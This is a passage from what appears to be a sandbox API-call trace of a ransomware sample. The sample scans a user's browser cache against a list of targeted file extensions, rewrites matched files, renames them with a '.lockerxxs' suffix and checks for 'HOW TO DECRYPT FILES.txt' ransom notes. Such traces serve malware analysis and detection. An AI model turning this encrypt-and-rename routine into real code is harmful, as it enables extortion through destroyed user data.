(lpString="*.db") returned 4 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.dbf") returned 0 [0083.064] lstrlenA (lpString="*.dbf") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.myox") returned 0 [0083.064] lstrlenA (lpString="*.myox") returned 6 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.myo") returned 0 [0083.064] lstrlenA (lpString="*.myo") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbw") returned 0 [0083.064] lstrlenA (lpString="*.qbw") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbb") returned 0 [0083.064] lstrlenA (lpString="*.qbb") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbm") returned 0 [0083.064] lstrlenA (lpString="*.qbm") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbo") returned 0 [0083.064] lstrlenA (lpString="*.qbo") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbx") returned 0 [0083.064] lstrlenA (lpString="*.qbx") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qba") returned 0 [0083.064] lstrlenA (lpString="*.qba") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qby") returned 0 [0083.064] lstrlenA (lpString="*.qby") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qbj") returned 0 [0083.064] lstrlenA (lpString="*.qbj") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.ofx") returned 0 [0083.064] lstrlenA (lpString="*.ofx") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.qif") returned 0 [0083.065] lstrlenA (lpString="*.qif") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.mye") returned 0 [0083.065] lstrlenA (lpString="*.mye") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.mbox") returned 0 [0083.065] lstrlenA (lpString="*.mbox") returned 6 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.eml") returned 0 [0083.065] lstrlenA (lpString="*.eml") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.pst") returned 0 [0083.065] lstrlenA (lpString="*.pst") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.ost") returned 0 [0083.065] lstrlenA (lpString="*.ost") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.idx") returned 0 [0083.065] lstrlenA (lpString="*.idx") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.dbx") returned 0 [0083.065] lstrlenA (lpString="*.dbx") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.sql") returned 0 [0083.065] lstrlenA (lpString="*.sql") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.mdb") returned 0 [0083.065] lstrlenA (lpString="*.mdb") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.fdb") returned 0 [0083.065] lstrlenA (lpString="*.fdb") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.wab") returned 0 [0083.065] lstrlenA (lpString="*.wab") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.dat") returned 0 [0083.065] lstrlenA (lpString="*.dat") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.txt") returned 0 [0083.065] lstrlenA (lpString="*.txt") returned 5 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.jpeg") returned 0 [0083.065] lstrlenA (lpString="*.jpeg") returned 6 [0083.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.jpg") returned 1 [0083.066] lstrlenA (lpString="*.jpg") returned 5 [0083.066] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" [0083.066] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" [0083.066] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg." [0083.066] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.lockerxxs" [0083.066] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.066] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22a0 [0083.066] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.066] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.067] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x227a, lpOverlapped=0x0) returned 1 [0083.068] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg") returned="BBC04o2[1].jpg" [0083.068] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.069] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x227a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x227a, lpOverlapped=0x0) returned 1 [0083.069] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.069] CloseHandle (hObject=0xa4) returned 1 [0083.069] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg.lockerxxs")) returned 1 [0083.070] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53657130, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53657130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53657130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2036, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC06ZQ[1].jpg", cAlternateFileName="BBC06Z~1.JPG")) returned 1 [0083.070] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.070] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC06ZQ[1].jpg") returned 1 [0083.070] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC06ZQ[1].jpg") returned 1 [0083.070] lstrcmpiA (lpString1="", lpString2="BBC06ZQ[1].jpg") returned -1 [0083.070] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg") returned="BBC04o2[1].jpg" [0083.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.070] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.070] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC06ZQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" [0083.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.ems") returned 0 [0083.070] lstrlenA (lpString="*.ems") returned 5 [0083.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.db") returned 0 [0083.070] lstrlenA (lpString="*.db") returned 4 [0083.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.dbf") returned 0 [0083.070] lstrlenA (lpString="*.dbf") returned 5 [0083.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.myox") returned 0 [0083.070] lstrlenA (lpString="*.myox") returned 6 [0083.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.myo") returned 0 [0083.070] lstrlenA (lpString="*.myo") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbw") returned 0 [0083.071] lstrlenA (lpString="*.qbw") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbb") returned 0 [0083.071] lstrlenA (lpString="*.qbb") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbm") returned 0 [0083.071] lstrlenA (lpString="*.qbm") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbo") returned 0 [0083.071] lstrlenA (lpString="*.qbo") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbx") returned 0 [0083.071] lstrlenA (lpString="*.qbx") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qba") returned 0 [0083.071] lstrlenA (lpString="*.qba") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qby") returned 0 [0083.071] lstrlenA (lpString="*.qby") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qbj") returned 0 [0083.071] lstrlenA (lpString="*.qbj") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.ofx") returned 0 [0083.071] lstrlenA (lpString="*.ofx") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.qif") returned 0 [0083.071] lstrlenA (lpString="*.qif") returned 5 [0083.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.mye") returned 0 [0083.072] lstrlenA (lpString="*.mye") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.mbox") returned 0 [0083.072] lstrlenA (lpString="*.mbox") returned 6 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.eml") returned 0 [0083.072] lstrlenA (lpString="*.eml") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.pst") returned 0 [0083.072] lstrlenA (lpString="*.pst") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.ost") returned 0 [0083.072] lstrlenA (lpString="*.ost") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.idx") returned 0 [0083.072] lstrlenA (lpString="*.idx") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.dbx") returned 0 [0083.072] lstrlenA (lpString="*.dbx") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.sql") returned 0 [0083.072] lstrlenA (lpString="*.sql") returned 5 [0083.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.mdb") returned 0 [0083.072] lstrlenA (lpString="*.mdb") returned 5 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.fdb") returned 0 [0083.073] lstrlenA (lpString="*.fdb") returned 5 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.wab") returned 0 [0083.073] lstrlenA (lpString="*.wab") returned 5 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.dat") returned 0 [0083.073] lstrlenA (lpString="*.dat") returned 5 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.txt") returned 0 [0083.073] lstrlenA (lpString="*.txt") returned 5 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.jpeg") returned 0 [0083.073] lstrlenA (lpString="*.jpeg") returned 6 [0083.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", pszSpec="*.jpg") returned 1 [0083.073] lstrlenA (lpString="*.jpg") returned 5 [0083.073] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" [0083.073] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 